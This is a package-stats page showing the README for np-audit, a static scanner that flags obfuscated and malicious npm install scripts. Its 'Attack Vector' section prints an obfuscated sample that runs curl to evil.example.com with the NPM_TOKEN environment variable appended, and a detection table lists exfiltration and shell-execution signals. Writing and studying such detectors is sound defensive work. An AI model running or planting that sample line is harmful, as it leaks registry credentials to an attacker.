npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

np-audit

v2.2.0

Published

Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention

Readme

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm package auditor

Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns before they run. Drop-in replacement for npm install and npm ci.

Zero dependencies. Pure Node.js built-ins only. < 100 kB on the wire.

npx np-audit scan express
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

Detection is split into modular marshallers — each one detects a single attack signal:

| Marshaller | What it detects | Score | | ---------- | --------------- | ----- | | eval/dynamic-exec | eval(), new Function(), indirect eval, vm.*, setTimeout with string | 8 | | obfuscator.io | _0x variable naming patterns (obfuscator.io output) | 9–80 | | high-entropy-string | Long strings or concatenation chains with high Shannon entropy | 6 | | hex-escape-density | Dense \xNN and \uXXXX escape sequences | 5–50 | | fromCharCode | String.fromCharCode with many args, large decimal char-code arrays | 7 | | encoded-decode | Base64/hex decode (atob, Buffer.from) optionally combined with eval | 3–8 | | child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 | | hex-array | Large numbers of 0x hex literal values | 7–60 | | process-env | process.env access (credential exfiltration signal) | 3 | | network-call | require('https'), fetch(), dns, net, tls | 4 | | filesystem-manipulation | fs.writeFile, chmod, symlink (backdoor persistence) | 3–4 | | runtime-download | Downloads and executes external runtimes (Bun, Deno) | 9–50 | | vscode-autorun | VS Code tasks with runOn: folderOpen (auto-execution) | 30 | | known-vulnerability | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |

Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.

See CONTRIBUTING.md for how to write custom marshallers.


Vulnerability Scanning (CVE)

Every scanned package is checked against known vulnerability databases alongside the code analysis.

Default: OSV.dev (no setup required)

Works out of the box — queries the free OSV.dev API for known vulnerabilities and malicious package advisories.

Optional: Snyk API (richer data)

# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Token resolution order: SNYK_API_TOKENSNYK_TOKEN~/.config/configstore/snyk.json

| Severity | Score | Verdict | | -------- | ----- | ------- | | Malicious package | 80 | DANGER | | 10+ vulnerabilities | 6 | WARN | | 5–9 vulnerabilities | 5 | WARN | | 1–4 vulnerabilities | 4 | WARN |

Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.


Usage

Commands

| Command | Alias | Description | | ------------------------------ | ----------- | ---------------------------------- | | npa install [package] | npa i | Audit then run npm install | | npa ci | — | Audit then run npm ci | | npa scan [package] | npa s | Scan only, no install | | npa config get | npa c get | Show current configuration | | npa config set <key> <value> | npa c set | Update a config value | | npa alias --install | — | Install shell alias | | npa alias --uninstall | — | Remove shell alias |

Any unrecognized command is forwarded to npm (e.g. npa run test, npa publish).

Flags

| Flag | Alias | Works with | Description | | ----------- | ----- | ----------------------- | ------------------------------------------------ | | --review | -r | install, ci | Interactive mode — choose which scripts to allow | | --json | — | install, ci, scan | Machine-readable JSON output | | --no-dev | — | install, ci, scan | Skip devDependencies | | --verbose | — | all | Show fetch progress and extra detail | | --version | -v | — | Print version and exit | | --help | -h | — | Print help and exit |

Interactive --review mode

npa install --review
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configuration

Config is stored in ~/.npmauditor.json (global) and can be overridden per project with .npmauditor.json.

npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

All config keys

| Key | Default | Description | | ----------------- | ---------------------------- | --------------------------------------- | | blockScore | 7 | Score threshold for DANGER (exit 1) | | warnScore | 4 | Score threshold for WARN (exit 0) | | registry | https://registry.npmjs.org | npm registry URL | | timeout | 30000 | HTTP request timeout (ms) | | parallelFetches | 5 | Concurrent downloads | | skipScopes | [] | @scope prefixes to skip | | skipPackages | [] | Package names to skip | | silent | false | Suppress output when no issues found | | scanSelf | true | Scan own project lifecycle scripts | | maxTarballSize | 50MB | Max unpacked tarball size (bomb protection) | | checkVulnerabilities | true | Check packages against CVE databases | | deepResolve | false | Resolve full transitive dependency tree |


Shell Alias

Use npa as a transparent npm replacement:

npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Now npm install, npm ci scan automatically. All other npm commands (npm run, npm test, npm publish) pass through unchanged.

npa alias --uninstall   # remove the alias

How It Works

  1. Parse package-lock.json (v1/v2/v3) or resolve from package.json
  2. Fetch tarballs from registry (or read from node_modules)
  3. Parse lifecycle commands — splits &&/||/;/|, handles node -e, sh -c, shell scripts
  4. Walk the require()/import graph from each entry (cycle detection, 50 file / 5 MB cap)
  5. Analyze with all marshallers — static code checks + CVE database queries
  6. Score and classify: DANGER / WARN / OK
  7. Report or proceed with install

The Attack Vector

Supply chain attacks abuse npm lifecycle scripts. When you run npm install, any preinstall/install/postinstall script runs automatically. Attackers hide payloads behind obfuscation:

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Real-world incidents:

npa never executes scripts. It downloads and statically analyzes them.


Exit Codes

| Code | Meaning | | ---- | ----------------------------------- | | 0 | All clean or only warnings | | 1 | One or more packages blocked |


License

MIT